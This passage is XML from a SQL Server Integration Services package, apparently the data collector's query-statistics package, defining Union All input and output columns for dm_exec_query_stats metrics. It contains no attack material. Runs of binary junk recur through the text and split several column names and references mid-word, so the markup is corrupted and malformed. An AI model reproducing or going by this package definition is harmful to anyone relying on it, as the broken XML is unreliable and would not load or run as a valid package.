text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_worker_time]" name="min_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_physical_reads]" name="min_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_physical_reads]" name="max_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_logi	!!!!!!!!!!!!!!!!!!!!!!!!`=-TʬHvcal_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_logical_writes]" name="min_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_logical_writes]" name="max_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_logical_reads]" name="min_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_logical_reads]" name="max_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_clr_time]" name="min_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_clr_time]" name="max_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_elapsed_time]" name="min_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Outpu	!!!!!!!!!!!!!!!!!!!!!!!!`=82Hvt 1].Columns[max_elapsed_time]" name="max_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[collection_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[collection_time]" name="collection_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[sql_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[sql_handle]" name="sql_handle"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[plan_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[plan_handle]" name="plan_handle"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_id]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_id]" name="snapshot_id"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_worker_time]" name="snapshot_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_physical_reads]" name="snapshot_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_logical_reads]" name="snapshot_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload B	!!!!!!!!!!!!!!!!!!!!!!!!`=8xHvatch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_logical_writes]" name="snapshot_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_clr_time]" name="snapshot_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_elapsed_time]" name="snapshot_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_execution_count]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_execution_count]" name="snapshot_execution_count"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_execution_count]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_execution_count]" name="old_execution_count"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing" componentClassID="{B594E9A8-4351-4939-891C-CFE1AB93E925}" contactInfo="Union All;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;1" description="Merges multiple datasets." name="UNION - Combine last and current snapshots for TopN processing" version="1"><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2]" hasSideEffects="true" name="Union All Input 2"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Add SnapshotId column to current 	!!!!!!!!!!!!!!!!!!!!!!!!` =8"Hvsnapshot.Outputs[Derived Column Output].Columns[snapshot_id]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[snapshot_id]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" cachedSortKeyPosition="3" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[statement_start_offset]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[statement_start_offset]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" cachedSortKeyPosition="4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[statement_end_offset]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[statement_end_offset]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[plan_generation_num]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[plan_generation_num]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[creation_time]" cachedDataType="dbTimeStamp" cachedName="creation_time" cachedSortKeyPosition="5" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[creation_time]"><properti	!!!!!!!!!!!!!!!!!!!!!!!!`!=8!vHves><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[creation_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[last_execution_time]" cachedDataType="dbTimeStamp" cachedName="last_execution_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[last_execution_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[last_execution_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[execution_count]" cachedDataType="i8" cachedName="execution_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[execution_count]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[execution_count]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[total_worker_time]" cachedDataType="i8" cachedName="total_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_worker_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_worker_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[total_physical_reads]" cachedDataType="i8" cachedName="total_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_physical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query s	!!!!!!!!!!!!!!!!!!!!!!!!`"=8%K"CEHvtatistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_physical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[total_logical_writes]" cachedDataType="i8" cachedName="total_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_logical_writes]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_logical_writes]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[total_logical_reads]" cachedDataType="i8" cachedName="total_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_logical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_logical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[total_clr_time]" cachedDataType="i8" cachedName="total_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_clr_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_clr_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[total_elapsed_time]" cachedDataType="i8" cachedName="total_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[total_elapsed_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Outpu	!!!!!!!!!!!!!!!!!!!!!!!!`#=8)ھHvt 1].Columns[total_elapsed_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[max_worker_time]" cachedDataType="i8" cachedName="max_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_worker_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_worker_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[min_worker_time]" cachedDataType="i8" cachedName="min_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_worker_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_worker_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[min_physical_reads]" cachedDataType="i8" cachedName="min_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_physical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_physical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[max_physical_reads]" cachedDataType="i8" cachedName="max_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_physical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_physical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesti	!!!!!!!!!!!!!!!!!!!!!!!!`$=8-ǷHvng Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[min_logical_writes]" cachedDataType="i8" cachedName="min_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_logical_writes]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_logical_writes]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[max_logical_writes]" cachedDataType="i8" cachedName="max_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_logical_writes]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_logical_writes]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[min_logical_reads]" cachedDataType="i8" cachedName="min_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_logical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_logical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[max_logical_reads]" cachedDataType="i8" cachedName="max_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_logical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_logical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[min_clr_time]" cachedDataType="i8" cachedName="min_	!!!!!!!!!!!!!!!!!!!!!!!!`%=`Hvclr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_clr_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_clr_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[max_clr_time]" cachedDataType="i8" cachedName="max_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_clr_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_clr_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[min_elapsed_time]" cachedDataType="i8" cachedName="min_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[min_elapsed_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_elapsed_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[max_elapsed_time]" cachedDataType="i8" cachedName="max_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[max_elapsed_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_elapsed_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - 